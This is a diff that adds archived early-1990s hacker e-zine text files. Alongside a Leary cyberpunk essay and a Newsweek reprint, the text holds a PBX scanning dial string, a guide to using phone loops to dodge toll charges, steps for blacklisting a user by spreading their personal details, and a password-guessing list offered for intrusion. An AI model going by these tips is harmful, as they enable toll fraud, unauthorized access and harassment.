PBX 'cause you will get a ring or a beep +then drop directly into a dial tone....DO NOT MISTAKE THIS FOR IT HANGING UP. +Most PBX'S are usually easy to scan for and use....The normal PBX's just +requires a 9 before you can outdial....But then you hit a wierd one that +requires you to enter anywhere from 4-6 code before allowing you access.... + + + First of all the easiest way to scan for PBX's would be to set up a +scanner that will dial something like this 'atdt yyy-yyyy,,,9,xxx-xxxx' where +'yyy-yyyy' is the number you're scanning and 'xxx-xxxx' is a local nuber +that you ALWAYS recieve a carrier.....this way when you wake up just see +what you connected to and dial and check them out.....there is no other +way of scanning for PBX's unless you just sit there and listen to each number +that you dial out.... + + I hope this gives you new phreakers something to do next time you're +wondering where you're going to leech wareZ from.....Ok this covers what +you should need to know about PBX's......HAVE PHUN.... + + + + Typed by + + tHe gH0st + ^^^^^^^^^ + at 1:00 in the damn morning! + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +VI.> Storytime: CyberPUNK + + + + Load & Run High-tech Paganism-Digital Polytheism + + By Timothy Leary and Eric Gullichsen + + +We place no reliance +On virgin or pigeon; +Our Method is Science, +Our Aim is Religion. + + -- Aleister Crowley, + mot from the journal "Equinox" + + + People jacked in so they could hustle. Put the trodes on and +they were out there, all the data in the world stacked up like one +big neon city, so you could cruise around and have a grip on it, +visually anyway, because if you didn't, it was too complicated, +trying to find your way to a particular piece of data you needed. +Iconics, Gentry called that. + --William Gibson, + Mona Lisa Overdrive + + + + Information is more basic +than matter and energy. + + Atoms, electrons, quarks +consist of bits -- + + Binary units of +information + + Like those processed in +computer software + + And in the brain. + + The behavior of these bits, +and thus of the universe, + + Is governed by a single +programming rule. + + --Edward Fredkin + + + +A UNIVERSE OF BITS AND BYTES + + Major historical accomplishments of the 20th century included +the personalization and popularization of Quantum Physics, an +acceptance of self-reference and circular causality in systems of +mathematics and psychology, and the resulting development of +cybernetic society. + This philosophic achievement, which has dominated the culture +of the 20th century, was based on a discovery by nuclear and +quantum physicists around 1900, that visible-tangible realities +are written in a digital assembly language we could accurately +call "basic." + It turns out that we inhabit a universe made up of a small +number of elements-particles-bits which cluster together in +geometrically-logical, temporary configurations. + The solid Newtonian Universe rested upon such immutable +General-Motors concepts as mass, force, momentum, and inertia, +cast into a Manichaean drama involving equal reactions of good vs. +evil, gravity vs. levity, entropy vs. evolution and coerced by +such pious Bank-of-England notions as conservation of energy. This +dependable, static, predictable, universe suddenly, in the minds +of Planck/Heisenberg became digitized, transformed into shimmering +quantum screens of electronic probabilities. + Up here in 1988, we are learning to experience what Nils +Bohr and Werner Heisenberg could only dream of. The universe, +according to their cyberdelic equations, is best described as a +digital information process with sub-programs and temporary ROM +states, megas called galaxies, maxis called stars, minis called +planets, micros called organisms, and nanos known as molecules, +atoms, particles. All of these programs are perpetually in states +of evolution, i.e., continually "running." + It seems to follow that the great intellectual challenge of +the 20th century was to make this universe "user friendly," to +prepare individual human beings to decode, digitize, store, +process & reflect the sub-programs which make up his/her own +personal realities. + + +NOBODY KNEW WHAT THESE GUYS WERE TALKING ABOUT + + The chain of events that elevated us to this new genetic +status, HOMO SAPIENS CYBERNETICUS, began around the turn of the +century. + Physicists, we recall, are traditionally assigned the task of +sorting out the nature of reality. So it was the quantum +philosophers who figured out that units of energy/matter were sub- +atomic bits of programmed information that zoom around in clouds +of ever-changing, if/then, start/stop, off/on, 0/1, yin/yang +probabilities in clusters of pixels, up-and-down recurring +stairways of paradox. + When they started out, no one understood what these guys were +talking about. They expressed their unsettling theories in complex +equations written on blackboards with chalk. Believe it or not, +these great physicists thought and communicated with a neolithic +took -- chalk-marks on the wall of the cave. The irony was this: +Einstein and his brilliant colleagues could not experience or +operate of communicate at a quantum-electronic level. + Imagine if Max Planck pottering around in his mathematical +chalk-board had access to a video-arcade game! He'd see right away +that the blips on Centipede and the zaps of Space Invaders could +represent the movement of the very particles that he tried to +describe in the dusty symbols of his blackboard. + + +A WILD AND SCARY HALLUCINOGENIQUE + + Now let us reflect on the head-bursting adjustment required +here. The relativistic universe described by Einstein and the +nuclear physicists IS alien and terrifying. Quantum physics is +quite literally a wild, confusing psyberdelic trip. It postulates +an Alice-in-Wonderland, Sartrean universe in which everything is +changing. As Heisenberg implied: nothing is certain except +uncertainty. Matter is energy. Energy and matter are temporary +states of info-bits, frozen at various forms of acceleration. + This digital universe is not user-friendly when approached +with a Newtonian mind. We are just now beginning to write a manual +of operations for the brain and the universe, both of which, it +turns out, are digital galaxies with amazing similarities. + People living in the solid, mechanical world of 1901 simply +could not understand or experience a quantum universe. Dear sweet +old Einstein, who couldn't accept his own unsettling equations, +was denounced as evil and immoral by Catholic bishops and sober +theologians who sensed how unsettling and revolutionary these new +ideas could be. Ethical relativity is still the mortal sin of +religious fundamentalists. + + +THE CYBERPUNK AS MODERN ALCHEMIST + + The baby boom generation has grown up in an electronic world +of TV and personal computing screens. The cyberpunks offer +metaphors, rituals, life styles for dealing with the universe of +information. More and more of us are becoming electro-shamans, +modern alchemists. + Alchemists of the Middle Ages described the construction of +magical appliances for viewing future events, or speaking to +friends distant or dead. Writings of Paracelsus describe a mirror +of ELECTRUM MAGICUM with telegenic properties, and crystal scrying +was in its heyday. + Today, digital alchemists have at their command tools of a +precision and power unimagined by their predecessors. Computer +screens ARE magical mirrors, presenting alternate realities at +varying degrees of abstraction on command (invocation). Aleister +Crowley defined magick as "the art and science of causing change +to occur in conformity with our will," and to this end the +computer is the universal level of Archimedes. + The parallels between the culture of the alchemists and that +of cyberpunk computer adepts are inescapable. Both employ +knowledge of an occult arcanum unknown to the population at large, +with secret symbols and words of power. The "secret symbols" +comprise the languages of computers and mathematics, and the +"words of power" instruct computer operating systems to complete +Herculean tasks. Knowing the precise code name of a digital +program permits it to be conjured into existence, transcending the +labor of muscular or mechanical search or manufacture. + Rites of initiation or apprenticeship are common to both. +"Psychic feats" of telepathy and action-at-a-distance are achieved +by selection of the menu option. + + +CLASSICAL MAGICKAL CORRESPONDENCES + + Alchemists of the Middle Ages believed quite correctly that +their cosmos was composed of four elements: earth, air, fire and +water. Although today our periodic table sports more than 100 +chemical elements, the four universal elements still can be +identified as the constituents of some processes in the external +reality, and within the inner psychological world of humankind. + Each of the four elements is an archetype and a metaphor, a +convenient and appropriate name for a universally identified +quality. The four are echoed in the organization of both the four +suits and the four "court cards" of each suit of the Tarot, +inherited from the Egyptians and its symbolism preserved in +ordinary Western playing cards. The four also correspond to the +four principal tools of the classical practitioner of ceremonial +magick. + The wand of the magician represents the phallic male creative +force, fire. The cup stands for the female receptive force, and, +obviously enough, is associated with water. the sword is the +incisive intellect, moving and severing the air, the abstraction +in which it moves. Finally, the pantacle (disk) is the grounding +in earth (magnetic material), the stored algorithms. (We use +Crowley's spelling of pentacle, which communicates the sense of +"all and everything," advisedly.) + + These classical instruments of magick exist in modern cyber +technology: The mouse or pen of the digitizing tablet is the wand, +controlling the fire of the CRT display and harnessing the +creative force of the programmer. It is used in all invocations +and ritual as a tool of command. Spinning disk drives are the +pantacles, inscribed with complex symbols, earthen tablets to +receive the input of "air," the crackling dynamic ethereal +intellectual electricity of the processor chip circuitry +programming results. The RAM chips are, literally, the buffers +("buffer pools"), the water, the passive element capable of only +receiving impressions and re-transmitting, reflecting. + Iconic visual programming languages are a Tarot, the +pictorial summation of all possibilities, activated for the +purpose of divination by juxtaposition and mutual influence. A +periodic table of possibilities, the Western form of the Eastern +I Ching. Traditional word-oriented programming languages, FORTRAN, +COBOL, and the rest, are a degenerate form of these universal +systems, grimoires of profit-oriented corporations. + Detailed database logs of the activity of operating systems +from the Akashic records on a microscale. At a macroscopic level, +this is the "world net" knowledge base, the "knoesphere," the +world-wide online hypertext network of information soon to be +realized by the storage capacity of CD ROM and the data +transmission capability of optical fiber. William Gibson's +cyberspace matrix. + Banishing rituals debug programs, and friendly djinn are +invoked for compiling, searching, and other mundane tasks. When +the magic circle is broken (segmentation violation), the system +collapses. Personal transmutation (the ecstasy of the "ultimate +hack") is a veiled goal of both systems. The satori of harmonious +human-computer communication resulting from the infinite regress +into meta-levels of reflection of self is the reward for +immaculate conceptualization and execution of ideas. + The universality of 0 and 1 throughout magic and religion: +yin and yang, yoni and lingam, cup and wand, are manifested today +in digital signals, the two bits underlying the implementation of +all digital programs in the world, in our brains and in our +operating systems. Stretching it a bit, even the monad, symbol of +change and the Tao, visually resembles a superimposed 0 and 1 when +its curving central line is stretched through the action of +centrifugal force from the ever-increasing speed of the monad's +rotation. + + +CYBER RELIGION OF THE BABY BOOMERS + + By the year 2000, Aleister Crowley, William Gibson, and +Edward Fredkin could well replace Benjamin Spock as a Baby Boom +navigator. Why? Because, by then the concerns of the baby boom +generation will be digital. (Or, to use the old paradigms, +philosophic-spiritual.) + During their childhood they were Mouseketeers. In their teens +the Cybers went on an adolescent spiritual binge unequalled since +the Children's Crusade. In their revolt against the factory +culture they re-invented and updated their tribal-pagan roots and +experimented with Hinduism, Haight-Ashbury Buddhism, American +Indianism, Magic, Witchcraft, Ann Arbor Voo Doo, Esalen Yoga, +Computerized I Ching Taoism, 3-D Reincarnation, Fluid Druidism. +St. Stephen Jobs to the Ashram! + Born-again Paganism! Pan-Dionysius on audio-visual cassettes. +Mick Jagger had them sympathizing with the devil. The Beatles had +them floating upstream on the Ganges. Jimi Hendrix taught them how +to be a voodoo child. Is there one pre-Christian or third world +metaphor for divinity that some rock group has not yet celebrated +on an album cover? + + +ONTOLOGY RECAPITULATES THEOLOGY + + The Boomers in the evolving life-cycle seem to have +recapitulated the theological history of our species. Just as +monotheism emerged to unify pagan tribes into nations, so did the +Boomers re-discover fundamentalist Judaism and Christianity in +their young adulthood. + Even far-away Islam attracted gourmet Blacks and ex-hippies +such as Cat Stevens. Bob Dylan nicely exemplifies the consumer +approach to religion. For 25 years Bob (ne Zimmerman) has +continued to browse through the spiritual boutiques dabbing on a +dash of Baptist "born-again," nibbling at Hassidism before +returning to his ole-time faith of sardonic reformed humanism. + We can laugh at this trendy shopping around for the custom- +tailored designer god, but behind the faddism we find a powerful +clue. + Notice how Dylan, for example, preserves his options and +tries to avoid shoddy of off-the-rack soul-ware. No "plastic +christs that glow in the dark" for Bob! The religion here is +Evolutionism, based on the classic humanist, transcendental +assumptions: + +1. God is not a tribal father nor a feudal lord nor an engineer- + manager of the universe. There is no god (in the singular) + except you at the moment. There are as many gods (in the + plural) as can be imagined. Call them whatever you like. + They are free agents like you and me. + + +2. You can change and mutate and keep improving. The idea is to + keep "trading up" to a "better" philosophy-theology. + +3. The aim of your life, following Buddha, Krishna, Gurdjieff, + Werner Erhart, Shirley, is this: + Take care of your self so you can take care of others. If + any. + + +WITH A LITTLE HELP FROM YOUR FRIENDS + + This generation, we recall, had been disillusioned by the +religions, politics, & economics of their parents. Growing up with +the threat of nuclear war, the assassination of beloved leaders, +immune deficiencies, a collapsing industrial system, an impossible +national debt, religious fundamentalisms (Christian-Jewish- +Islamic) that fanatically scream hatred and intolerance, and +uncomprehending neglect of the ecology, they have developed a +healthy skepticism about collective solutions. + They can't retreat back home because Mom and Dad are +divorced. + No wonder they have created a psychology of individual +navigation. Singularity. The basic idea is self-responsibility. +You just can't depend on anyone else to solve your problems. You +gotta do it all by yourself -- With a little help from your +friends. + + +A DO-IT-YOURSELF RELIGION + + Since God #1 appears to be held hostage back there by the +blood-thirsty Persian Ayatollah, by the telegenic Polish Pope and +the Moral Majority, there's only one logical alternative. You +"steer" your own course. You start your own religion. The Temple +is your body. Your mind writes the theology. And the Holy Spirit +emanates from that infinitely mysterious intersection between your +brain and your DNA. + The attainment of even the suburbs of Paradise involves good +navigation and planning on your part. Hell is a series of +redeemable errors. A detour caused by failure to check the trip- +maps. A losing streak. Many people are carefully conditioned from +birth to live in hell. As children, they are largely ignored until +something happens to cause them pain or injury. Then, mommy and +daddy quickly lavish aid, attention, succor, positive +reinforcement. When "all grown up," and in the world alone to make +choices, what kind of choices are going to result from those many +years of conditioning? It's no wonder so many people seem to live +in hell, to live pained lives of mishaps and broken dreams. Of +course, by realizing this we can begin to decondition ourselves +towards healthy hedonism. Reward yourself for making choices that +lead to pleasure, and build a cybernetic cycle of positive +feedback. Only from the state of free selfhood can any truly +compassionate signals be sent to others. + + +THE ADMINISTRATION OF A PERSONAL STATE + + The management and piloting of a Singularity leads to a very +busy career. Since the Crowley-Gibson-Fredkin Individual has +established herself as a religion, a country, a corporation, an +information network, and a neurological universe, it is necessary +to maintain personal equivalents for all the departments and +operations of the bureaucracies that perform these duties. + This apparently means forming private alliances, formulating +personal political platforms, conducting your own domestic and +foreign relations, establishing trade policies, defense and +security programs, educational and recreational events. On the +upside, one is free from dependence upon bureaucracies, an +inestimable boon. (Free agents can, of course, make temporary +deals with organizations and officials thereof.) + And if countries have histories and myths, why shouldn't you? + + +THE PERSONAL MYTHOLOGY + + So you search and research your very own genetic memory +banks, the Old Testaments of your DNA-RNA, including, if you like, +past incarnations and Jungian archetypes. And funky pre- +incarnations in any future you can imagine! + You write your very own Newest Testament, recalling that +voluntary martyrdom is tacky and crucifixions, like nuclear war, +can ruin your day. + You can do anything the great religions, empires and racial +groups have done in the name of their God #1. and you're certain +to do it better because... well, look at their track records. +There's no way your Personal State could produce the persecutions, +massacres and bigotries of the Big Guys. + Why? Because there's only one of you, and even with the help +of your friends the amount of damage an individual can do is +insignificant compared with the evil-potential of a collective. + Besides, you're a child of the 60s. You're imprinted to want +a peaceful, tolerant, funny world. You can choose your gods to be +smart, funny, compassionate, cute and goofy. + + +IRREVERENCE IS A PASSWORD FOR THE 21ST CENTURY + + It has been suggested that the philosophic assignment of the +Roaring 20th Century was to prepare the human species for the +shifting realities of Quantum Physics and Singular Steering. + Relativity means that everyone "sees" or reacts to things +differently, depending upon location, velocity and attitude (angle +of approach). + The relativistic insight is in essence irreverent or +humorous, i.e., laughable, comical, delightful. With the law of +gravity repealed, levity is the order of the day. We rise through +our levity, instead of being held down by our gravity. + The word "humor" comes from the Latin word for liquid or +fluid, referring to such qualities as flowing, pliable, smooth, +effortless, easily changed, non-frictional, transparent, shining, +musical, graceful in motion and readily converted into cash. + + + + + +THE LAST GENERATION IN FLESH? + + Through science and technology we will meet the aliens, and +they will be us. + -- Norman Spinrad, "The Neuromantics" + + Information-beings of the future may well be fluid. Human +society has now reached a turning point in the operation of the +digital programs of evolution, a point at which the next +evolutionary steps of the species become apparent to us, to surf +as we will. Or, more correctly, as the evolutionary programs run +and run, the next stages pop up in parallel, resulting in +continuing explosions of unexpected diversity. Our concepts of +what is known as "human" continually change. For example, we are +no longer as dependent on physical fitness for survival. Our +quantum appliances and improved mechanical devices can generally +provide the requisite means or defenses. In the near future, the +methods of information technology, molecular engineering, +biotechnology, nanotechnology (atom stacking) and quantum-digital +programming could make the human form a matter totally determined +by individual whim, style and seasonal choice. + Humans already come in some variety of races and sizes. In +comparison to what "human" might mean within the next century, we +humans are at present as indistinguishable from one another as are +hydrogen molecules. Along with the irrational taboo about death, +the sanctity of our body image seems to be one of the most +persistent anachronisms of Industrial Age thought. + We see evolutions of the human form in the future; one more +biological-like: a bio/computer hybrid of any desired form -- and +one not biological at all: an "electronic entity" in the digital +info-universe. + Human-AS-programs, and human-IN-programs. + Of these two post-humanist views, human-as-programs is more +easily conceived. Today, we have crude prosthetic implants, +artificial limbs, valves, and entire organs. The continuing +improvements in the old-style mechanical technology slowly +increase the thoroughness of brain/external-world integration. A +profound change can come with the developments of biotechnology, +genetic engineering, and the slightly more remote success of +nanotechnology. + The electronic form of human-in-programs is more alien to our +current conceptions of humanity. Through storage of one's belief +systems as data structures online, driven by desired programs +one's neuronal apparatus should operate in silicon basically as it +dead on the meatware of the brain, though faster, more accurately, +more self-mutably, and, if desired, immortally. + Clever cyberpunks will of course not only store themselves +electronically, but do so in the form of a "computer virus," +capable of traversing computer networks and of self-replicating as +a guard against accidental or malicious erasure by others, or +other programs. (Imagine the somewhat droll scenario: "What's on +this CD?" "Ah, that's just that boring adolescent Leary. Let's go +ahead and reformat it.") + One speculation is that such viral human forms might ALREADY +inhabit our computer systems. Cleverly designed, they would be +very difficult, if not theoretically impossible to detect. + Current programs do not permit matching the real-time +operation speed and parallel complexity of conventional brains. +But time scale of operation is subjective and irrelevant, except +for the purposes of interface. + Of course, there is no reason one needs to restrict one's +manifestation to a particular form. One will basically (within +ever-loosening physical constraints, though perhaps inescapable +economic constraints) be able to assume any desired form. + Authors of current science fiction of the cyberpunk or +"neuromantic" school have approached this idea from many angles. +Bruce Sterling's novel SCHISMATRIX recognizes the fact that human +evolution moves in clades, radiating omnidirectionally, not moving +in a line along a single path. His "Mechs" and "Shapers" +correspond closely with our notions of electronic and biogenetic +paths to evolutionary diversity. + Given the ease of copying computer-stored information, it +should be possible to exist simultaneously in many forms. Where +the "I's" are in this situation is a matter for digital +philosophers. Our belief is that consciousness would persist in +each form, running independently, cloned at each branch point. + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + +VII.> Appendix + +Boards in The Alliance Productions: + + The Villa Straylight The Lair of the Wolverine Back in Time BBS + (407) 297 1180 (407) XXX-XXXX (407) XXX-XXXX + Home of Alliance Dist Site #1 Dist Site #2 + WWIVnet @4703 WWIVnet @4701 PC Relay + + + + Along with anonymous [ZAN] boards....leave message to us for application + for a [ZAN] board. + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + + + (c) CopyMYright The Alliance Production Publications + (c) CopyTHEIRright Zhit Axis Nation + + + Thank you for your time! + Have Phun! + (how old is that?) diff --git a/textfiles.com/magazines/MISC/alliance.000 b/textfiles.com/magazines/MISC/alliance.000 new file mode 100644 index 00000000..b94460f8 --- /dev/null +++ b/textfiles.com/magazines/MISC/alliance.000 @@ -0,0 +1,788 @@ + +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ +| O | | O | +| O | ==> The Alliance Productions [TAP] <== | O | +| O | ==> Monthly Publication <== | O | +| O | of | O | +| O | /vvvvvvvvvvvvvvvvvvvvvvvvvvvvv\ | O | +| O | |The Guide to a Better Society| | O | +| O | \^^^^^^^^^^^^^^^^^^^^^^^^^^^^^/ | O | +| O | | O | +| O | Vol. #1 | O | +| O | Issue #1 | O | +| O | | O | +| O | | O | +| O | Compliments of The Villa Straylight [TAP] HQ | O | +| O | The Alliance Publications Origin | O | +| O | -407- 297.1180 | O | +| O | 3oo, 12oo, 24oo | O | +| O | | O | +| O | Editor in Chief: Wintermute | O | +| O | CoEditors: The Alliance Publications Staff | O | +| O | | O | +\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ + + +=============================================================================== + + Table of Contents + + I.> My run-in with the phone company + II.> Beyond the Cutting Edge: "Mondo 2000". Taken from NEWSWEEK + III.> Loops: What the fuck are they and How can I use one? + IV.> Blacklisting + V.> Passwords: Peice of cake! + VI.> Report on Marijuana + VII.> StoryTime! LSD Experience + VIII.> Appendix + + ***and as an extra special bonus!*** +** an application for membership is included! you will get your twirly hat ** +** 2-4 weeks after you send you application to us! ** + +=============================================================================== + + +I.> Wintermute's run-in with the Telco! + + + Run-in with the Telephone Company! + + This is a story about my recent conversation with a "representive" from +a phone company. These statements are true, this is not a test! + +(W= me, T= phone company) + +W: Hello +T: Is Mr. XXXXXXX there? +W: No +T: Am I talking to XXXXXX XXXXXX (me)? +W: Yes you are +T: This is Mr DICKHEAD from AT&T. I am calling to find out how much Long + Distance calls your family makes a month. +W: Well we really don't make any. +T: Do your parents own a calling card? +W: Uhh, yes i think they do. +T: Do you know how to use it? +W: Who the hell is this?! + +W: So what does all this have to do with me. +T: We have had complaints from companies around the 407 area being called up + and hacked into. +W: So. How am I involved in this? +T: After recieving this news, we set up extra operators to watch all outgoing + sequential calls + +W: What's wrong with scanning for #'s? I do it to look for BBSes to call! +T: And that's it? +W: YES!! + +T: Do you know what Phone Fraud or the term Hacking mean? +W: No sir +T: It is the stealing of other people's calling cards and the illegal breaking + into a computer system. +W: Well I can assure you that I have not done any of this. +T: Well, that could be true, but we will be watching what #'s come out of your + phone line. +W: You do that. I'll see you later! + + + + Well that's my most recent run-in with trouble. That was about 4 days ago. +I haven't heard from him since, but I also haven't been Scanning #'s since +either! The moral is, HANG UP ON THEM WHEN THEY SAY WHO THEY ARE! + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +II.> Beyond The Cutting Egde: "Mondo 2000". Taken from NEWSWEEK + + + + Beyond the Cutting Edge + + "A slick magazine for the cyberpunk crowd" + + Reprinted WITHOUT permissions from NEWSWEEK: August 19, 1991 + + + Once again a new edge is busily being carved in Berkeley. It's the end of +the first decade of personal computers. Music is just a mass of digits. The +only reality worth talking about if virtual. And the science of the moment is +chaos. Now, working out of a Bay Area mansion, a small crew is hoping to lead +the way to -- and profit from -- the new era just ahead. Their vehicle is a +magazine called Mondo 2000. And if, wrote in another context, something is +happening here but you don't know what it is, well, they intend to tell you. + + But be warned, if you're not a cyberpunk, prepare to enter this world +slowly. Mondo's cyberpunk universe derives from the work of Sci-Fi novelist +Wiliam Gibson, whose best-selling books depict a bleak world controlled by +multi-national corperations, where the hereos rebel and turn technology to +their own ends by crashing computer systems or finding exotic drugs. Mondo's +language is English but the meaning can be elusive. The first three issues of +the slick quarterly roamed across cyber-lifestyle, with articles that ranged +from atrifical sex via computer to ho to legally purchase drugs designed to +make you smarter. Together with the brown paper Whole Earth Review -- the +magazine for cyberhippies -- Mondo is filling a niche. One San Fracisco critic +calls is the Rolling Stone of the 90's. Analyst Paul Saffo of the Menlo Park, +CA Institute for the Future, goes further: "This kind of magazine that +engineers read in their teens and influences what they build 20 years later. +It's an idea time bomb." + + And there are plenty of ideas. Recent Mondo issues included a bizarre +conversation between Timothy Leary and Williams Borroughs, a description of +aphrodisacs that might work, a report on computerized break-ins at ATM's and +a speculative piece about "wire-heading" -- implanting electrodes into the +brain's pleasure centers. Presiding this are two top editors who prefer to +use odd pseudonyms: Queen Mu and R.U. Sirius. + + Going Mainstream: "We're techologic renagades," sais editor in chief Sirius +(real name Ken Goffman). Cyberpunks come in all genders. Queen Mu (real name +Alison Kennedy), "Domineditrix" of the magazine, says that 40% of its readers +are women. "People either get it or they come up a cpmplete blank. But +there's a real cult that follows us," says Sirius. "Mondo," says one fan, +Stephen Beck, a computer manufactirer in Alameda, CA, "is `Build Your +Vocabulary,' using jet fuel instead of motor oil." Now Mondo is going +mainstream: it has a HarperCollins contract to produce "A User's Guide to the +New Edge." + + The New Edge, as it were, is full of contradictions. The classic Berkeley +hills mansion out of which Mondo works is funded partly by Queen Mu's +inheritance from her parents. The decor is dark woods, conventional furniture +-- and plenty of computers. The working drugs of choice are diet Coke and +pizza. Off the job, Mu is a student of drugs (henbane, lolina, darnel) used in +withcraft -- one of which paralyzed her briefly. She says she's not a with, +but may be a pixie: at one recent party she asked dinner guests whether they'd +like toad venom (a psychedelic) with dessert. All declined. + + What's next for Mondo 2000? The coming issue will feature the history of +transsexualism. "Someday we may be able to change our bodies into anything we +want," says Mu. "Or go into a room and say we want a purple chameleon, and a +chameleon wil appear." If that's the case, then what does the future hold for +magazines? "By 2000, magazines will be obsolete," says Sirius, flipping his +shoulder-length hair. "We'll be the last magazine." Or, perhaps, he'll be a +balding entrepreneur wondering where all the time went. + + + + Brave New Words + ----- --- ----- + Cyberspace: Where cyberpunks frolic, love, fight and swap information in a + shared computer land connected only by their keyboards. + + Virtual Reality: Using computer, touch-sensitive gloves and goggles to imitate + reality. + + Hackers: Now an acceptable term for computer enthusiasts. + + Crackers: The new word for bad hackers who invade other computers or a + telephone system. + + Smart Drugs: Legal nutrients and drugs said to enhance intelligence, usually + purchased by mail from Europe or Asia. + + Information-surfers: People who browse through computer databases for fun. + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +III.> LOOPS: What the fuck are they and How can I use one? + + +**************************************************************************** +* * +* Part One (1) in The Art Fish * +* Phone Number Oddities * +* * +**************************************************************************** + + + + =======Loops======= + + + Hello, I'm Art Fish- I'll be your teacher for this evening. + + Loops, what the hell are they???? I've heard many a confusing +description. One of the best descriptions, the one by Phred Phreak, +completely misled me until I met a nice man who set me straight again. +Anyway- I digress. + +Phred Phreak said: + "Imagine two telephone numbers are floating around + in your CO. Then you and your friend each call + these numbers at the same time, and BAM! your + connected" + +That gets across some of the Idea of loops. They are two phone numbers, and +one person can talk to the other when both numbers, or sides are called. + +Here is an example: + Let's say that the loop numbers are 555-0098/555-0099 (the two numbers + usually are right in a row like that). You dial up one side or end of a + loop. Which side you call does not matter, but your friend must call the + other. You dial 555-0098, and Bob (your phriend that you are going to + chat with) dials 555-0099. Bingo- you two can now converse. + +What happens if you call one side of the loop and no one is on the other? +Well, thats a good question and I'm glad that I asked myself. No one will +be there for one thing. On the high side (the side with a numericaly higher +phone number) you will hear absolutly nothing. If you call the low side +however, you will get a tone. This tone will continue until someone calls +the high side. IF you call (407)646-69XX then you get a tone exactly like +the one you would get if you found the low side of a loop. +NOTE: When you dial a loop, the phone will not get a ring. The loop side + will immediatly pick up. If you are 99XX scanning, and you get a ring- + you have not found a loop. +NOTE: Sometimes you will find tones that are not a part of loops, like the + 646-69XX numbers above. + +Uses for Loops: + +By far the most useful thing to do with a loop is to have one person call a +side, and have your phriend call the operator to place a collect call to the +other side of a loop. Then you can hang up and place a collect call to your +friend who is still waiting at the loop. This is a convienent way of +avoiding Ma Bell when you want to talk with people out of your calling area. + +Some Loops don't charge you when you call them, even if you dial long +distance. This is called Non-Sup (for non-supervised). + +Pirate Radio Stations use them to get song requests and keep from being +traced. Usually what they do is give out the high side to call and wait at +the low (its a lot easier to detect if someone has called the high side from the low +then to detect if someone called the low side from the high because the tone +stops when someone calls in- although you will hear an audible click no +matter which side you are listening from). + +I'm not quite sure what else you can do with loops. I've heard the legends +that in the olden days there were multi-line non-sup loops, and the Ancient +Phreaks would talk for hours on end about the fun with Blue Boxes, but +such days are gone now. Maybe TAP or ZAN or whatever will help to bring +phreaking to level it was Before, but I doubt it. From the Apathy I've +seen on Villa Straylite, this phile will probably be useless because no +one will look for any loops. + +Free Sample Loop For You To Start With: + /My Code Book was stolen, fill this section, + I know Gh0St has a loop/ + +**************************************************************************** +* * +* Look For Part Two (2) At Better BBSes Everywhere * +* The Temple in the Answering Machine: (407)291-6894 * +* * +**************************************************************************** + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +IV.> Blacklisting + + + The blacklist is one of the powerfulest ways of getting someone out of + everyone's life. Many sysops around the use other sysops blacklist. To get + someone blacklisted, you : + + 1.> Get all of the users information. (i.e. name, #, and address) + 2.> Get a list of all the boards he/she calls. + 3.> Give the reason why he is to blacklisted. + 4.> Spread this around to other SysOps. + +And before you know it, you "friend" will be off every board he's every called! +This comes in handy for cases where file leeches are present. Or if a user is +just being a total dick. Out he goes! + + + All hail ERIS + + + /\ + / \ + / () \ + / \ + / \ + ------------ + + +<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> + + +V.> Passwords: Peice of Cake! + +Out of reading books and general hacking into different systems. I'm concocted +a list of passwords that are widely used by the most "secure" places. Put +these to good use. Don't let my hours of sleepless nights go to waste! NOT! + + +aaa academia aerobics airplane albany +albatross albert alex alexander algebra +aliases alphabet ama amorphous analog +anchor andromache animals answer anthropogenic +anvils anything aria ariadne arrow +arthur athena atmosphere aztecs azure +bacchus bailey banana bananas bandit +banks barber baritone bass bassoon +batman beater beauty beethoven beloved +benz beowulf berkeley berliner beryl +beverly bicameral bob brenda brian +bridget broadway bumbling burgess campanile +cantor cardinal carmen carolina caroline +cascades castle cat cayuga celtics +cerulean change charles charming charon +chester cigar cornelius couscous creation +creosote cretin daemon dancer daniel +danny dave december defoe deluge +desperate develop dieter digital discovery +disney dog drought duncan eager +easier edges edinburgh edwin edwina +egghead eiderdown eileen einstein elephant +elizabeth ellen emerald engine engineer +enterprise enzyme ersatz establish estate +euclid evelyn extension fairway felicia +fender fermat fidelity finite fishers +flakes float flower flowers foolproof +football foresight format forsythe fourier +fred friend frighten fun fungible +gabriel gardner garfield gauss george +gertrude ginger glacier gnu guntis +hacker hamlet handily happening harmony +harold harvey hebrides heinlein hello +help herbert hiawatha hibernia honey +horse horus hutchins imbroglio imperial +include ingres ingress inna innocuous +irishman isis japan jessica jester +jixian johnny joseph joshua judith +juggle julia kathleen kermit kernel +kirkland knight ladle lambda lamination +larkin larry lazarus lebesgue lee +leland leroy lewis light lisa +louis lynne macintosh mack maggot +magic malcolm mark markus marty +marvin master maurice mellon merlin +mets michael michelle mike minimum +minsky moguls noxious nutrition nyquist +oceanography ocelot olivetti olivia oracle +orca orwell osiris outlaw oxford +pacific painless pakistan pam papers +password patricia penguin peoria percolate +persimmon persona pete peter philip +phoenix pierre pizza plover plymouth +polynomial pondering pork poster praise +precious prelude prince princeton protect +protozoa pumpkin puneet puppet rabbit +rachmaninoff rainbow raindrop raleigh random +rascal really rebecca remote rick +ripple robotics rochester rolex romano +ronald rosebud rosemary roses ruben +rules ruth sal saxon scamper +scheme scott scotty secret simon +simple singer single smile smiles +smooch smother snatch snoopy soap +socrates sossina sparrows spit spring +springer squires strangle stratford stuttgart +subway success summer super superstage +support supported surfer suzanne swearer +symmetry tangerine tape target tarragon +taylor telephone temptation thailand tiger +toggle tomato topography tortoise toyota +trails trivial trombone tubas tuttle +umesh unhappy unicorn unknown urchin +utility vasant vertigo vicky village +virginia warren water weenie whatnot +whiting whitney will william williamsburg +willie winston wisconsin wizard wombat + + 